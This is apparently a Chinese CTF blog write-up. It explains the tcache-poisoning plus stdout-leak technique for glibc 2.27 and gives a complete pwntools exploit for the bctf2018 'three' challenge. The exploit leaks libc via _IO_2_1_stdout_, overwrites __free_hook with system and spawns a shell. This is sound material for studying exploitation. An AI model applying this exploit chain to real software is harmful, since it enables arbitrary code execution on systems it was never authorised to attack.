IO file 系列利用和题目,见参考资料 https://xz.aliyun.com/t/5853
stdout leak
我们在使用堆块的时候,容易造成任意地址写漏洞,但是如果程序开启了 PIE,并且没有任何输出函数,这个时候就需要利用 stdout的特性来对 libc 基址进行泄露了。
原理
- 堆块任意地址写
- stdout 中 flag 不同而对程序控制流造成改变
- _IO_write_base 的最低位被改变之后会泄露 libc 地址
堆块写
通常使用 tcache 进行任意地址写。
tcache 在 free 之后会保存 下一个 tcache 的地址,我们可以修改这个 fd 的为目的地址。
可是这个目的地址是未知的,我们应该如何寻找呢?
既然我们拥有了任意写地址的能力,那么我们可以
- 修改 fd的最低位,从而控制本tcache(记为 t0) 的prev_size和size位(记为 t1)
- 修改 t0,从而使 t1 的性质发生改变(变成 small_chunk)
- free t0,使 t0->fd 存放 libc 地址(当然这一步之前需要先填满 tcache)
- 修改 t1,改回 t0 的性质。

这个时候,我们再修改 t0->fd 的最低两字节,因为这个时候 t0->fd = 0x7fffxxxxx,所以就能将目的地址指向 libc 的某个位置。
因为 libc 中 最后 24bits 始终不变,所以这相当于我们有 1/16 的几率能够命中目标。
这时候我们将目标选中 _IO_2_1_stdout_
修改 stdout
这部分参见以下的源码分析
[https://n0va-scy.github.io/2019/09/21/IO_FILE/]()
简而言之,将 _flag 修改为 0xfbad3c80
并且将 _IO_write_base 的最低 8bits 改小,即可泄露 libc 地址

bctf2018 three exp
这道题只给了 add,edit,delete 选项,并且可操作堆块最多有三个
delete 处有 uaf
from pwn import *
local=1
pc='./three'
remote_addr=['',0]
aslr=False
context.log_level=True
context.terminal=["open-wsl.exe","-c"]
elf_dir = './three'
ld_dir = './ld-2.27.so'
libc_dir = './libc.so.6'
libc=ELF('./libc.so.6')
if local==1:
    p = process([ld_dir, elf_dir], env={"LD_PRELOAD": libc_dir})
    #p = process(pc,aslr=aslr)
    #gdb.attach(p,'c')
else:
    p=remote(remote_addr[0],remote_addr[1])
ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda   : p.recvline()
sl = lambda x : p.sendline(x) 
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
def lg(s,addr):
    print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))
def raddr(a=6):
    if(a==6):
        return u64(rv(a).ljust(8,b'\x00'))
    else:
        return u64(rl().strip('\n').ljust(8,b'\x00'))
def choice(idx):
    sla("choice:",str(idx))
def add(content):
    choice(1)
    sa("content:",content)
def edit(idx,content):
    choice(2)
    sla("idx:",str(idx))
    sa("content:",content)
def free(idx,c):
    choice(3)
    sla(":",str(idx))
    sla(":",c)
if __name__ == '__main__':
    # to create a fd with libc_addr
    add("123")
    add(p64(0x11)*8)
    free(1,'y')
    free(0,'n')
    edit(0,p8(0x50))
    add('123')
    add(p64(0))
    free(1,'n')
    edit(2,p64(0)+p64(0x91))
    for i in range(0x7):
        free(1,'n')
    edit(2,p64(0)+p64(0x51))
    free(0,'y')
    edit(2,p64(0)+p64(0x91))
    #gdb.attach(p, 'b *$rebase(0xD87)')
    free(1,'y')
    # Bruteforce 4 bits to make fd point to _IO_2_1_stdout_
    edit(2,p64(0)+p64(0x51)+p16(0x7760)) 
    add("123")
    # Modify the flag and the write pointers
    add(p64(0xfbad3c80)+p64(0)*3+p8(0))
    rv(8)
    libc_addr=raddr()-0x3ed8b0
    lg("libc",libc_addr)
    lg("free_hook",libc_addr+libc.symbols['__free_hook'])
    libc.address=libc_addr
    ru("Done")
    free(0,'y')
    edit(2,p64(0)+p64(0x51)+p64(libc.symbols['__free_hook']))
    add("123")
    edit(2,p64(0)+p64(0x61)+p64(libc.symbols['__free_hook']))
    free(0,'y')
    add(p64(libc.symbols['system']))
    edit(2,'/bin/sh\x00')
    choice(3)
    gdb.attach(p)
    sla(":",str(2))
    p.interactive()



 
    
Comments | NOTHING